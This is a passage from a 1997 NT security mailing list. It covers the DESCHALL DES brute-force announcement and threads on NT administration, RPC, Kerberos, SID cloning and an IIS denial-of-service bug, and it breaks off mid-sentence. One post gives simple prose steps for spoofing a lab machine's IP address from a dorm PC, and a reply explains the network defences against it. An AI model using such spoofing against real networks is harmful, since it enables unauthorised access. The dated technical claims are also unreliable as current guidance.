 The Data Encryption Standard, DES, is a national standard, adopted
in 1977. Use of DES is mandatory in most Federal agencies, except the
military. DES is very widely used in the private sector, as well.

 Interbank wire transfers, Visa transactions, your medical and
financial records, and your employer's financial data are some of the
many things secured against prying eyes or against modification by DES.

 When the Data Encryption Standard was adopted in 1977, there was
some question as to whether or not the Standard was adequate to protect
confidential data.

 Matt Curtin, Chief Scientist for Megasoft, Inc. says, "This is
proving by example, not by mathematical calculation, that DES can be
broken with little or no cost." Curtin added, "Others could just as
easily be attempting to gain access to multibillion dollar wire
transfers."


MEDIA CONTACTS:
 Matt Curtin, (908) 431-5300 x 295, 

ALTERNATE:
 Rocke Verser, (970) 663-5629, 

ALTERNATE:
 Justin Dolske, (614) 459-5194, 

 - 30 -







 INTERNET LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
 Background for Release dated June 18, 1997

 DESCHALL DATA SHEET

DESCHALL Web site:
 

Principal Organizer:
 Rocke Verser, self-employed contract programmer, Loveland, Colorado

Team Leaders - Did "everything" Rocke didn't have time to do
 Matt Curtin, Chief Scientist, Megasoft Online
 Justin Dolske, Graduate Fellow / Research Associate, Ohio State Universtiy

Team Contributors:
 Guy Albertelli, several "ports"
 Kelly Campbell, original Mac port
 Darrell Kindred, blazing fast bitslice clients
 Andrew Meggs, blazing fast Mac client
 Karl Runge, statistics and rankings

Team Members:
 Dozens of people who contributed "shareware".
 Thousands of ordinary folks, who contributed "spare" CPU cycles.


Project statistics:
 Start of contest: January 29, 1997
 Announcement of DESCHALL project: February 18, 1997
 End of contest: June 17, 1997

 Size of keyspace: 72,057,594,037,927,936
 Keys searched: 17,731,502,968,143,872
 Peak keys/day: 601,296,394,518,528
 Peak keys/second: 7,000,000,000 (approx)

 Peak clients/day: 14,000 (approx, based on IP address)
 Total clients, since start: 78,000 (approx, based on IP address)

The computer that found the key:
 CPU: Pentium 90
 RAM: 16 megabytes
 Operating System: FreeBSD 2.2.1
 Speed (keys/second): 250,000 (approx)
 Client: FreeBSD v0.214, built March 12, 1997
 Owner: iNetZ Corporation, Salt Lake City, Utah
 Operator: Michael K. Sanders


MEDIA CONTACTS:
 Matt Curtin, (908) 431-5300 x 295, 

ALTERNATE:
 Rocke Verser, (970) 663-5629, 

ALTERNATE:
 Justin Dolske, (614) 459-5194, 



On 19 Jun 97 at 10:53, Robert Kulp wrote:

> Microsoft's "Routing & RAS Server" for Windows NT (formerly Steelhead) will
> allow you to configure filters based upon IP addresses. This works very well
> if you are trying to limit access to a server based upon IP address in
> addition to account based access.
> 
> ie. An Univeristy lab manager wants to allow access to his server from only
> machines in his department or lab. Students in the lab can access it, but not
> from their dorm rooms.
> 
> Routing & RAS will do that very nicely. (No, you're not actually routing, but
> only using the filtering.)

This application of the NT Router might well be a useful in some 
circumstances, but you certainly shouldn't forget about IP address 
spoofing i.e. did that packet with an entirely valid source address 
really originate from the trusted machine?

Regards,

--Alan--
acr@als.co.uk
Why didn't they tell us we'd have to call a plumber if the basement
filled up with water?

The system logs a very clear message in the event logs that the event
logs are full. The first thing you should do when debugging an NT box
is look at the event logs.

So the step-by-step here is:

1. User calls help desk - "Help!"
2. Tech verifies "Sho 'nuff, user can't log on"
3. Tech says "Let me try as admin"
4. "Hmm, that worked."
5. "What's in the event logs"
6. "Oh, your security log is full."
7. "What's it full of?"
8. "A bunch of success audits?" Perhaps those aren't necessary.
9. "A bunch of failure audits?" Perhaps someone is doing something
wrong.
10. Good thing the tech is there to fix either 8 or 9 and thus 1.

I agree that it would be nice to have more descriptive error messages.
But the event logs very often do have more descriptive messages.

regards
Andy

> -----Original Message-----
> From: Insik Kim [SMTP:insik@seas.gwu.edu]
> Sent: Thursday, June 19, 1997 3:00 PM
> To: Bivens, David R.
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] NT Authority/ Anonymous login But more
> 
> Sorry to say this was not really a bug, just a Microsoft Folly. This
> just comes to show you that Microsoft is becoming brain dead. If one
> follows the C2 config especially the recommondation that one sets the
> Event logs to NOT over write logs ie. security, then the workstation
> will
> not allow regular users on, only the administrators or equiv. I
> understand that it is for security purposes but why in the world will
> it
> not give a message saying it is due to the Event log being full? And
> why
> not say to contact the Admin? I mean if you are a reg users and you
> can't
> log in, why would it hurt to have this message, instead of it just
> saying
> can't login to this machine log on to another.... Oh well just some
> thoughts...of how MS just wasted our man time which means wasted our 
> money.
> 
> 
 I've been monitoring this thread for a couple of days only, so my concern
may have been addressed previously. If so please just re-send those
messages to my address directly, and I'll catch myself up with the rest of
you.

 My MS Proxy security concerns currently deal with the RPC services on the
Proxy. By default they are left on. On some other systems I have read
that this might not be the most prudent option, so I tried removing them
all together. The server functioned fine, but it wouldn't proxy anything
so I put the RPC services back. Next I tried to stop the RPC services in
the Services dialog. RPC services itself could not be stopped, but the RPC
locator service could be stopped. What limited testing I did with the RPC
locator service turned off worked fine, but I don't know for certain that
this is any more secure than with the service turned on. It would seem
logical that it would be better, but I don't know that. Does anyone have
better knowledge of how these services are implemented in MS Proxy? Your
help is appreciated...

Thanx,
Eric W. Fors, II

ewfors@coxnet.org

----------
> From: Chris Plunkett 
> To: carlier@iguana.be
> Cc: Chris Plunkett ; NT Security List Service
(E-mail) 
> Subject: Re: [NTSEC] MS Proxy Server
> Date: Thursday, June 19, 1997 6:49 PM
> 
> Kris Carlier wrote:
> > 
> > Chris,
> > 
> > On Wed, 18 Jun 1997, Chris Plunkett wrote:
> > 
> > > NAT, as done by a router, will go through every packet and rewrite
> > > the source and destination addresses of every packet going through
> > 
> > I thought it would only change the source IP address and source PORT.
> > Why
> > should the destination IP be changed ? heck, that's what it's destined
> > for... The IP-address is its own. Multiple addresses are only required
> > if
> > you need to provide access to different machines/services behind the
> > NAT,
> > no ? The source port becomes one of its own, so > 1023. This is the
> > key
> > for the table... where you should find the NAT's source port, the
> > requester's IP-address and source-port.
> > 
> > In the reply, the destination port is crucial, as it will be the key
> > to
> > lookup the NAT.
> > 
> Your right, my mistake.
> 
> > > No packets are actually sent directly from the client to the outside
> > > server. All packet to the outside server are sent from the proxy
> > 
> > And, according to you, how is this done by a NAT ? Source IP and
> > source
> > port are changed.
> > 
> > > This is not what a router doing NAT does. IT routes the packet,
> > > rewriting the addresses in the header.
> > 
> > So, a caching proxy is at the application level, and supports a
> > predefined
> > number of applications (what does the MS Proxy support ? http, gopher,
> > ftp, socks, wais, SSL ?) I presume the MS proxy doesn't support ICP ?
> dunno what ICP is.
> 
> I've also been told that using the winsock proxy, MS proxy server
> will act like a router doing NAT. Dunno why you would use the
> winsock proxy if the clients have IP stacks, but someone might
> have a reason. And if you were using the winsock proxy with an
> IPX or netbuie client, it doesn't have an IP address to start.
> 
> A caching proxy would pretty much have to be at the application level,
> I would think. And it is generally written to support whatever 
> application it is meant to proxy (there are exceptions, but I don't
> beleive they do any caching).
> 
> One thing if interest is that I have heard of applications writing
> IP addresses within the data portion of packets. This creates an
> awfull lot of fun to figure out any address translation / proxy
> methods.
> -- 
> ------------------------------------------------------------
> Chris Plunkett System Technician
> Breakwater Technologies Inc.
> phone:(425)803-5002x112 Fax:(425)803-5001
> http://www.breakwater.net mailto:chris@breakwater.net
There is a book entitled Windows NT Web Server Handbook by Tom Sheldon
that may be of help. Although I haven't read this book, the author has
also written the Windows NT Security Handbook, which I found invaluable.
This latter book also contains a chapter on Microsoft IIS security. I
believe that both are published by Osborne.

Hope this helps,

----
Harold (Gus)Fletcher
harold@ictco.com

> -----Original Message-----
> From: pat metzger [SMTP:metzger@arch.Buffalo.EDU]
> Sent: Thursday, June 19, 1997 10:52 AM
> To: ntsecurity@iss.net
> Subject: 
> 
> Is there a preferred resource that gives good specifics for security
> issues
> related to creating limited access to WWW recources where NT is set-up
> specifically as a web-server; or, is there some individual direction
> that
> might point me in the right direction on this issue?
The idea of changing the Administrator account name for security
purposes is indeed a good one.

However, when you attempt to do a recovery (emergency repair) or any
operation the uses "Administrative-Authority" as part of the process
you are in trouble. This "Administrative-Authority" uses the permissions
assigned to Administrator. (apparently not the sid) If you have changed
the name - it can't be found. You will not be able to logon - see the
file system or anything. The permissions are in some strange state.

I had this happen to me. The only way to recover was to do a complete
system install " into a different directory ex:\winntrec " then booting
from this, logging in as Administrator, take ownership of the old
directory and recover from there.

Do not let this stop you from using this security measure - it is good,
simple and effective. 

Just remember to change the name back to Administrator before making any
changes that are going to use the "Administrative-Authority" 

Just a lesson learned - now passed on.
On Mon, 16 Jun 1997, Frank Rundatz wrote:

> Solving problems is the basis for capitalism as I know it.

Desire is the basis for capitalism.

> seen in regard to this situation. I've seen more than one person bemoaning
> this Danish company's negotiating tactics saying, "I think it's funny when
> MSIE bugs are discovered but I'm really saddened that a bug has been found
> in Navigator" while in the same post speaking of altruism and the good of
> all, blah blah blah.

I'm more saddened by the affects this has on security, and how the main 
media outlets treat it. 

Craig Brozefsky craig@onshore.com
onShore Inc. http://www.onshore.com/~craig
Development Team p_priority=PFUN+(p_work/4)+(2*p_cash)

> Kris Carlier wrote:
> 
> >I've also been told that using the winsock proxy, MS proxy server
> >will act like a router doing NAT. Dunno why you would use the
> >winsock proxy if the clients have IP stacks, but someone might
> >have a reason. And if you were using the winsock proxy with an
> >IPX or netbuie client, it doesn't have an IP address to start.
> 
> Here's our situation. We have a T1 to one of our clients, and
> about 10 of our machines are using IP addresses owned by
> them. They are not on the internet, but have registered the
> IP addresses. We also have an ISDN line to the internet,
> and own about 16 addresses through our ISP.
> The proxy server is configured to consider addresses belonging
> to our client as being internal, and everything else is external.
> This way, we don't have to do anything funky for our Win95
> machines. The default gateway points to our T1 router, which
> connects to the client. For IP addresses on the internet, the
> proxy server steps in and the default gateway isn't used.
> Also, if you're using a proxy server, and your ISP owns
> your IP addresses, then if they change, or you change ISPs,
> you'll have to do minimal changes. When we changed IP
> addresses, we only had to make changes to three machines.
> 
> Mike "Special Agent of Chaos" Swaim
> Work: mpswaim@gdseng.com Home: swaim@phoenix.net
> Disclaimer: I Lie
> 
> 
Would someone please provide (or point the way to) a *concise*, definitive 
explanation of how default user info & user profiles are used at the server 
and workstation level to create the settings for a new user ? What 
information/settings, if any, from the server are used to build a new user 
profile?

We are trying to determine whether an install problem is related to the 
product itself, or to default settings / profile info that may have been 
created based on the product's settings on the NT server.

How about just copying the Administrator ID (to create a new one under a
new name) and leaving the "Administrator" in the system, but DISABLED?
That's what we do and it seems to work well.

I'm VERY nervous about deleting any of the BUILTIN accounts...

What do y'all think? If you have a process such as described below,
would we get hit as Morbert did?

David R. Bivens
Ash Grove Systems & Technologies
Atlanta, Georgia, USA
drbivens@agst.com


On Friday, June 20, 1997 09:13, Morbert Florbin
[SMTP:morbert@nospam.visi.com] wrote:
> The idea of changing the Administrator account name for security
> purposes is indeed a good one.
> 
> However, when you attempt to do a recovery (emergency repair) or any
> operation the uses "Administrative-Authority" as part of the process
> you are in trouble. This "Administrative-Authority" uses the
permissions
> assigned to Administrator. (apparently not the sid) If you have
changed
> the name - it can't be found. You will not be able to logon - see the
> file system or anything. The permissions are in some strange state.
> 
> I had this happen to me. The only way to recover was to do a complete
> system install " into a different directory ex:\winntrec " then
booting
> from this, logging in as Administrator, take ownership of the old
> directory and recover from there.
> 
> Do not let this stop you from using this security measure - it is
good,
> simple and effective. 
> 
> Just remember to change the name back to Administrator before making
any
> changes that are going to use the "Administrative-Authority" 
> 
> Just a lesson learned - now passed on.
Neil Kirr wrote:

> I've installed SP3 AND I've modified the registry with the magic
> "EnablePlainTextPassword" value (DWORD = 1).
>
> However, I STILL CAN'T MAKE A SAMBA CONNECTION! Everything is working
> fine under SP2. Does anyone have any ideas what the problem might be?
> Do we need to change the server side (SAMBA) also?? Essentially, I
> attempt to make the connection and it just returns "bad password or
> username" and then prompts me again for the password.
>
> Has anyone resolved this?! Thanks for the help!

I haven't dug into this as deep as I would have liked, but I had a similar
problem. We were doing "pass-thru" authentication on our Samba server.
It was passing the authentication requests to the PDC on the NT domain
rather than using the UNIX password (which are in sync anyway to the NT
domain anyway). The main reason we did the pass-thru was to avoid
plaintext passwords on the wire.

When SP3 came out, the PlainTextPassword fix bothered me because I didn't
think we were using any so it didn't make any sense that turning on that
parameter would fix anything. When I login to the domain, the Samba
mount worked ok after applying the fix you mention. However, I could no
longer login to a different domain or to the local workstation and do a
"connect as". I would get "bad password" as you mention.

We did a sniff to see what the problem might be, but the sniff looked like
the authentication should have worked. Admittedly, I'm not expert on
packet analysis.

Finally we installed a newer version of Samba and the problems
disappeared. We were keeping the older version because its memory
footprint was much smaller than the newer version (I don't have the
version number handy, but it was at least a year old). However, since
Samba uses shared libraries, the overall footprint was actually smaller
than the older version when many connections are made.

It might not fix your problem, but I'd recommend upgrading Samba just to
see if it helps.

--
Randy Wood (Randy.Wood@nau.edu) "Hey mister, you got any old
Computing Technology Services dollar bills you don't need?"
Northern Arizona University
P.O. Box 5100 PH: 520-523-8991
Flagstaff, AZ 86011 http://jan.ucc.nau.edu/~rwood

You could create an ISAPI filter to handle your password checking. This
has the added benefit that you don't have to pay Micro$oft a royalty
(user licence) for each account that you want to have access to the web
pages in question. You can use the money saved to pay a programmer to
write the filter. There's a very good reference to this subject in the
book...

Visual C++ ISAPI Programming
by Michael Tracy
WROX Press
ISBN 1-874416-66-4

Paul W. Ward
Software Engineer
NexTrend, Inc.
pward@nextrend.com

> ----------
> From: Michael Gresham[SMTP:msgresha@edaco.ingr.com]
> Sent: Thursday, June 19, 1997 3:26 PM
> To: ntsecurity@iss.net; nt-list@ntsoftdist.com
> Subject: [NTSEC] IIS and 4.0 SP3
> 
> I have been attempting to build an IIS 3.0 server that
> will eventually be placed directly on the Internet, 
> with secure areas that will require an account and
> password to use.
> 
> The local account database is established and the 
> authentication works, but when you attempt to login
> to the secure area you are forced to use a username
> of the form servername\username in order to access
> the area. My marketing people want me to fix it 
> so that users don't have type the machine name.
> 
> I searched the Microsoft Knowledge Base and found
> Q168908 which told me how to go to
> HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Service\W3SVC\Paramaters
> and set a value DefaultLogonDomain to \\computername.
> So I did this. But it doesn't work. Users still have 
> to add the servername part of the username to get in.
> 
> Could any of my problems be related to SP3 and all
> of the new security fixes?
> 
> Thanks in advance. Any assistance is appreciated.
> 
> -----------------------------------------------------
> 
> Mike Gresham msgresha@veribest.com
> VeriBest, Inc.
> 6101 Lookout Rd.
> Boulder CO 80301
> 
> C programmer code. C program crash. C programmer oo crazy.
> 
Sorry for the duplicate post re: 'Default user and user profiles on NT 
4.0'. I had received several messages about various errors in delivering 
the mail. I hadn't checked my mail yet, and didn't see that the message 
*had* posted until I had re-posted the original. ;-b
Uh- I do not believe you can disable the administrator account, *or* delete it. Just rename it or copy it, you *can* disable the copied administrator account. 
-
Rick Bertoncin
Server Development Group
Ford System Integration Center
rbertonc@ford.com


-----Original Message-----
From: Bivens, David R. [SMTP:DRBivens@AGST.com]
Sent: Friday, June 20, 1997 10:51 AM
To: 'ntsecurity@iss.net'
Subject: RE: [NTSEC] Changing the Administrator Account

How about just copying the Administrator ID (to create a new one under a
new name) and leaving the "Administrator" in the system, but DISABLED?
That's what we do and it seems to work well.

I'm VERY nervous about deleting any of the BUILTIN accounts...

What do y'all think? If you have a process such as described below,
would we get hit as Morbert did?

David R. Bivens
Ash Grove Systems & Technologies
Atlanta, Georgia, USA
drbivens@agst.com


On Friday, June 20, 1997 09:13, Morbert Florbin
[SMTP:morbert@nospam.visi.com] wrote:
> The idea of changing the Administrator account name for security
> purposes is indeed a good one.
> 
> However, when you attempt to do a recovery (emergency repair) or any
> operation the uses "Administrative-Authority" as part of the process
> you are in trouble. This "Administrative-Authority" uses the
permissions
> assigned to Administrator. (apparently not the sid) If you have
changed
> the name - it can't be found. You will not be able to logon - see the
> file system or anything. The permissions are in some strange state.
> 
> I had this happen to me. The only way to recover was to do a complete
> system install " into a different directory ex:\winntrec " then
booting
> from this, logging in as Administrator, take ownership of the old
> directory and recover from there.
> 
> Do not let this stop you from using this security measure - it is
good,
> simple and effective. 
> 
> Just remember to change the name back to Administrator before making
any
> changes that are going to use the "Administrative-Authority" 
> 
> Just a lesson learned - now passed on.

Off the wall question,
 I am wondering if any of you might be aware of a discussion group like this one that is related to Video Teleconferencing?
 We have installed desktop VTC hardware and are looking for people to test with via ISDN h.320

Thanks,
James Hinders
Tech@donet.com
 
 
O.K., let me try again. ;)

I'll clean this up, and add the steps I missed and places 'where I changed
my mind' in my original grasp of the NT v5 kerberos authentication process.
Note that this focuses primarily on the initial network logon
(non-preauthenticated tickets).

This is still knowingly incorrect. For example, my understanding of the
mechanism to handle access tokens vs./with kerberos is confused.

This contains a blend of what the NT network logon process currently does,
and where Kerberos Authentication replaces MSV1_0.

##On the Client:

1. User enters username/password/domain information into WinLogon window.

2. WinLogon passes the username/password/domain name to LsaLoginUser.

3. LsaLoginUser encrypts the password in LanManager and WNT formats (DES &
MD4), and sends username/password/domain information to the authentication
package, which is now the Kerberos Authentication Service (previously MSV1_0).

--Kerberos modified section starts here - I don't think the above is altered--

4. The Authentication Service (AS) creates a timestamp DES encrypted with
the users' encrypted password a.k.a. 'nonce', and sends that in a request
for a Ticket Granting Ticket (TGT) to the Kerberos Key Distribution Center
(KDC).

##On the server:

5. On the server the AS (bottom half?) KDC process checks for a current
session ticket in the KDC database. Since there is no session ticket in the
database, AS then verifies the user credentials against the SAM database by
decrypting the nonce with the users' DES encrypted password (from the SAM
database), and checking the timestamp for 'freshness'.

6. If correct the AS Ticket Granting Server (TGS) process creates a Ticket
Granting Ticket (TGT).

7. TGS stores the TGT in a ticket cache, with an default expiration of 8
hours (here, or after session key verification?).

8. TGS DES encrypts the TGT with the users' (SAM obtained) password. (Shared
secret key process being executed here, not PGP-type public/private key
process).

9. TGS creates a session key by time-stamping and DES encrypting the TGT
with the server private key and client ID (username?), and inserts username,
SID, and global user SID information in the authorization data field.

10. AS server sends the TGT and encrypted session key to client AS.

##Back on the client:

11. The client AS decrypts the TGT with the users' password, and returns a
timestamped and encrypted copy of the encrypted session key to the server AS.

##Question here: If the server encrypted session ticket contains SIDs, and
the client cannot decrypt the ticket, how does the client (LsaLoginUser)
create a token for the shell and local access? Client-located kerberos
run-time server?

##Back on the server:

12. The KDC service decrypts the ticket (first with the shared secret key,
then with the server secret key), checks the timestamp, and reads the
session key. If the (server encrypted) session key matches the (server
encrypted) session key sent to the client, the client is authenticated to
the server.

##The client, now authenticated with a valid TGT, attempts access to a
network resource on another server:

13. The client presents the authenticated TGT to the server AS service
(Ticket Granting Server) when requesting a server session ticket to access a
resource server.

##On kerberos server:

14. The AS server verifies the TGT to the TGT ticket cache, and replies with
a (server encrypted) session ticket for the specific resource server.

##On client:

15. Client sends the TGT and the (server encrypted) session ticket
(containing user SIDs) to the resource server.

##On network resource server:

16. The resource server decrypts the session key (with a cached copy of the
shared KDC server key) to obtain user SIDs for ACL permissions.

User authority and permissions then continued to be handled as they are now,
via Local/Global SIDs and ACLs.

Bill Stout

At 07:39 AM 6/20/97 -0500, Eric W. Fors, II wrote:
[snip]
> My MS Proxy security concerns currently deal with the RPC services on the
>Proxy. By default they are left on. On some other systems I have read
>that this might not be the most prudent option, so I tried removing them
>all together. The server functioned fine, but it wouldn't proxy anything
>so I put the RPC services back. Next I tried to stop the RPC services in
>the Services dialog. RPC services itself could not be stopped, but the RPC
>locator service could be stopped. What limited testing I did with the RPC
>locator service turned off worked fine, but I don't know for certain that
>this is any more secure than with the service turned on. It would seem
>logical that it would be better, but I don't know that. Does anyone have
>better knowledge of how these services are implemented in MS Proxy? Your
>help is appreciated...

The RPC locator appears to be a client service for the machine itself,
where as the RPC Server Service is the actual service that listens on port
135 and also accepts RPC requests over the various supported transport
mechanisms. You can forcefully turn off the RPC server service by editing
the registry, but your machine will *NOT* be happy with you afterwards. If
you turn this sevice off, when you logon to the console you will get a
permanent hour glass as your desktop sort of starts up. There is a reason
why the RPC Server can't be stopped in the services control panel ;) In
general I suggest using the TCP/IP advanced security options to block
remote access to TCP 135 and 139 on the external interface at the very least.

I have now accumulated a few very good reasons why *not* to use NT as a
firewall (application proxy, stateful analysis filter, whatever): the lack
of solid control over listening services, in general a poor understanding
of what can be turned off or removed from the system inorder to achieve a
state of only providing exactly the services needed, some very evil things
NT will allow at the IP layer, and the manner in which most of the firewall
software has been developed for NT (relying on complex services like RPC).
Of course, this only my *opinion*, so take it as you may and flame me
privately if you must.

Dominique Brezinski
----------------------------------------------------
My opinions expressed here, and in any public forum, 
are my own and do not represent those of my employer 
or its clients. I am an individual, and I will 
retain those rights of free speech granted to me, 
regardless of my employment status. 
Hello,

I want to provide remote access to the corporate network and use PPTP in
order to create a secure communication path between the client and the
corporate network.
I know with PPTP this is possible when connection is made via the Internet,
but is it possible to run PPTP without going tru the Internet ?
Documentation (MS Technet etc.) does not give a clear answer. See diagram
below.

NT client --modem------pstn/isdn------modem--NT/Server (RAS)----LAN
 | |
 |============ PPTP possible ? ===========|

Thanks 

George Hulst.
-----------------------------------------------------------------------------
G. Hulst

Liz,

Sorry perhaps you can explain this to me. My understanding of what you have
written or perhaps implied is that the SID can be changed granting new user rights 
and priviledges. Before anyone comments further perhaps you can qualify this ?

Sure by restoring a registry entries to another machine things will replicate
but a member of users won't jump to admin on another machine (Ignoring that to
restore it via floppy means anyone could become admin by a reinstall!).

Regards,

Mark Sean Curphey
Insight Consulting
Churchfield House
5 The Quintet
Churchfield Road
Walton-on-Thames
Surrey
KT12 2TZ
Tel : 01932 241000
Fax : 01932 244590
Mobile: 0410 034066
E-Mail:markc@insight.co.uk or m.curphey@rhbnc.ac.uk
Web :www.insight.co.uk (Under Construction)
Web :www.curphey.com (Under Construction)
On Sat, 21 Jun 1997, Liz Frey wrote:

> Perhaps doing a backup won't deal with the SID, but in recent experiments
> in our lab we used the recovery disk from one machine to turn the other
> machine into its clone...user base, and all...and the repair disk is able
> to be manipulated prior to recovery. As the NT person in charge of NAVY
> missions we found some interesting manipulations that could be
> accomplished if you just took the time to experiment. NT is VERY
> non-secure in my opinion.
> 
> LF
> 
> On Sat, 21 Jun 1997, Mark Curphey wrote:
> 
> :Can't be done as the user ID on the system is unique with a time stamp !
> :
> :
> :Mark Sean Curphey
> :Insight Consulting
> :Churchfield House
> :5 The Quintet
> :Churchfield Road
> :Walton-on-Thames
> :Surrey
> :KT12 2TZ
> :Tel : 01932 241000
> :Fax : 01932 244590
> :Mobile: 0410 034066
> :E-Mail:markc@insight.co.uk or m.curphey@rhbnc.ac.uk
> :Web :www.insight.co.uk (Under Construction)
> :Web :www.curphey.com (Under Construction)
> :On Sat, 21 Jun 1997, Romulo Moacyr Cholewa wrote:
> :
> :> I want to know it there is anybody with experience with this issue:
> :> 
> :> What happens if we get NTS and NTW machines with the same SID online within
> :> the same network ?!?
> :> This is the point:
> :> 
> :> I have a NTW or NTS machine and I backup it. Then I restore this full
> :> backup to another machine and make it online in the same network. The SIDs
> :> will be the same... what happens next ?!?
> :> 
> :> Thanks in advance,
> :> 
> :> Romulo Moacyr Cholewa - ICQ UIN: 832755
> :> mailto:rmcholewa@poboxes.com http://www.elogica.com.br/users/rcholewa
> :> 
> :> "Strong cryptography makes the world a safer place."
> :> A msg secreta no desafio do RSA DES. DES morto em 17/06/97 
> :> 
> :
> 


 http://www.news.com./News/Item/0,4,11759,00.html

 Hot news from CNet:

"Hackers exploited a bug in Microsoft's (MSFT) server software, jamming the
company's Web site since yesterday. 

The hackers are apparently taking advantage of a bug in Windows NT 4.0
running Microsoft's Internet Information Server 3.0, in which the entire
site is jammed by someone typing in a specific URL into a Web browser,
according to Mike Nash, director of marketing for Windows NT server. "

[...]

"Someone identified as Todd Fast says on his site that he inadvertently
discovered the bug "while examining the parameters of an URL Microsoft's
Internet Information Server (IIS) would accept without an error." "

 His site: http://www.eden.com/~tfast/jihad.html




 Erich Siedler.
 erich.siedler@omninet.com.br
 
The Winsock proxy is an RPC server. Winsock proxy works by remoting
socket calls like connect(), bind(), (not sure of the exact list), which
are for systems on the other side of the proxy, to the proxy server with
RPC. The RPC service (RPCSS) is the endpoint mapper, used to find what
port and RPC server (in this case, the Winsock proxy server) is using
(they're dynamically assigned). Your security vulnerability when running
RPCSS is that an attacker can get a list of the RPC servers that are
running on your machine.

There was a denial of service bug in the RPCSS that could cause it to
use 100% of the CPU. There was a hotfix for it, which is included in
SP3.

> ----------
> From: Eric W. Fors, II[SMTP:ewfors@coxnet.org]
> Reply To: Eric W. Fors, II
> Sent: Friday, June 20, 1997 5:39 AM
> To: NT Security List Service (E-mail)
> Subject: Re: [NTSEC] MS Proxy Server
> 
> I've been monitoring this thread for a couple of days only, so
> my concern
> may have been addressed previously. If so please just re-send those
> messages to my address directly, and I'll catch myself up with the
> rest of
> you.
> 
> My MS Proxy security concerns currently deal with the RPC
> services on the
> Proxy. By default they are left on. On some other systems I have
> read
> that this might not be the most prudent option, so I tried removing
> them
> all together. The server functioned fine, but it wouldn't proxy
> anything
> so I put the RPC services back. Next I tried to stop the RPC services
> in
> the Services dialog. RPC services itself could not be stopped, but
> the RPC
> locator service could be stopped. What limited testing I did with the
> RPC
> locator service turned off worked fine, but I don't know for certain
> that
> this is any more secure than with the service turned on. It would
> seem
> logical that it would be better, but I don't know that. Does anyone
> have
> better knowledge of how these services are implemented in MS Proxy?
> Your
> help is appreciated...
> 
> Thanx,
> Eric W. Fors, II
> 
> ewfors@coxnet.org
> 
> ----------
> > From: Chris Plunkett 
> > To: carlier@iguana.be
> > Cc: Chris Plunkett ; NT Security List
> Service
> (E-mail) 
> > Subject: Re: [NTSEC] MS Proxy Server
> > Date: Thursday, June 19, 1997 6:49 PM
> > 
> > Kris Carlier wrote:
> > > 
> > > Chris,
> > > 
> > > On Wed, 18 Jun 1997, Chris Plunkett wrote:
> > > 
> > > > NAT, as done by a router, will go through every packet and
> rewrite
> > > > the source and destination addresses of every packet going
> through
> > > 
> > > I thought it would only change the source IP address and source
> PORT.
> > > Why
> > > should the destination IP be changed ? heck, that's what it's
> destined
> > > for... The IP-address is its own. Multiple addresses are only
> required
> > > if
> > > you need to provide access to different machines/services behind
> the
> > > NAT,
> > > no ? The source port becomes one of its own, so > 1023. This is
> the
> > > key
> > > for the table... where you should find the NAT's source port, the
> > > requester's IP-address and source-port.
> > > 
> > > In the reply, the destination port is crucial, as it will be the
> key
> > > to
> > > lookup the NAT.
> > > 
> > Your right, my mistake.
> > 
> > > > No packets are actually sent directly from the client to the
> outside
> > > > server. All packet to the outside server are sent from the
> proxy
> > > 
> > > And, according to you, how is this done by a NAT ? Source IP and
> > > source
> > > port are changed.
> > > 
> > > > This is not what a router doing NAT does. IT routes the packet,
> > > > rewriting the addresses in the header.
> > > 
> > > So, a caching proxy is at the application level, and supports a
> > > predefined
> > > number of applications (what does the MS Proxy support ? http,
> gopher,
> > > ftp, socks, wais, SSL ?) I presume the MS proxy doesn't support
> ICP ?
> > dunno what ICP is.
> > 
> > I've also been told that using the winsock proxy, MS proxy server
> > will act like a router doing NAT. Dunno why you would use the
> > winsock proxy if the clients have IP stacks, but someone might
> > have a reason. And if you were using the winsock proxy with an
> > IPX or netbuie client, it doesn't have an IP address to start.
> > 
> > A caching proxy would pretty much have to be at the application
> level,
> > I would think. And it is generally written to support whatever 
> > application it is meant to proxy (there are exceptions, but I don't
> > beleive they do any caching).
> > 
> > One thing if interest is that I have heard of applications writing
> > IP addresses within the data portion of packets. This creates an
> > awfull lot of fun to figure out any address translation / proxy
> > methods.
> > -- 
> > ------------------------------------------------------------
> > Chris Plunkett System Technician
> > Breakwater Technologies Inc.
> > phone:(425)803-5002x112 Fax:(425)803-5001
> > http://www.breakwater.net mailto:chris@breakwater.net
> 
Perhaps doing a backup won't deal with the SID, but in recent experiments
in our lab we used the recovery disk from one machine to turn the other
machine into its clone...user base, and all...and the repair disk is able
to be manipulated prior to recovery. As the NT person in charge of NAVY
missions we found some interesting manipulations that could be
accomplished if you just took the time to experiment. NT is VERY
non-secure in my opinion.

LF

On Sat, 21 Jun 1997, Mark Curphey wrote:

:Can't be done as the user ID on the system is unique with a time stamp !
:
:
:Mark Sean Curphey
:Insight Consulting
:Churchfield House
:5 The Quintet
:Churchfield Road
:Walton-on-Thames
:Surrey
:KT12 2TZ
:Tel : 01932 241000
:Fax : 01932 244590
:Mobile: 0410 034066
:E-Mail:markc@insight.co.uk or m.curphey@rhbnc.ac.uk
:Web :www.insight.co.uk (Under Construction)
:Web :www.curphey.com (Under Construction)
:On Sat, 21 Jun 1997, Romulo Moacyr Cholewa wrote:
:
:> I want to know it there is anybody with experience with this issue:
:> 
:> What happens if we get NTS and NTW machines with the same SID online within
:> the same network ?!?
:> This is the point:
:> 
:> I have a NTW or NTS machine and I backup it. Then I restore this full
:> backup to another machine and make it online in the same network. The SIDs
:> will be the same... what happens next ?!?
:> 
:> Thanks in advance,
:> 
:> Romulo Moacyr Cholewa - ICQ UIN: 832755
:> mailto:rmcholewa@poboxes.com http://www.elogica.com.br/users/rcholewa
:> 
:> "Strong cryptography makes the world a safer place."
:> A msg secreta no desafio do RSA DES. DES morto em 17/06/97 
:> 
:

On Sat, 21 Jun 1997, David R. Linn wrote:

> >> The equivalent UNIX mechanisms depend on IP addresses or DNS names,
> >> which are also easy to spoof by a dedicated attacker.
> 
> 1) work on a lab machine until the lab closes at 0100 and take note
> of its IP address.
> 
> 2) at closing time, turn of the machine and leave the lab
> 
> 3) walk home to her or his dorm room and boot the dorm pc with the
> IP address of the now-off lab machine
> 
> Trivial, huh?? AFAIK, the big differences here between the NFS
> scenario and the SMB scenario are two;

Only because you have a rather interesting network topology. The dorms
should not be on the same subnet as the lab machines. If they were not
and the routers were setup to not do source routing this scenario doesn't
work. Of course a more sophisticated user could potentially corrupt your DNS 
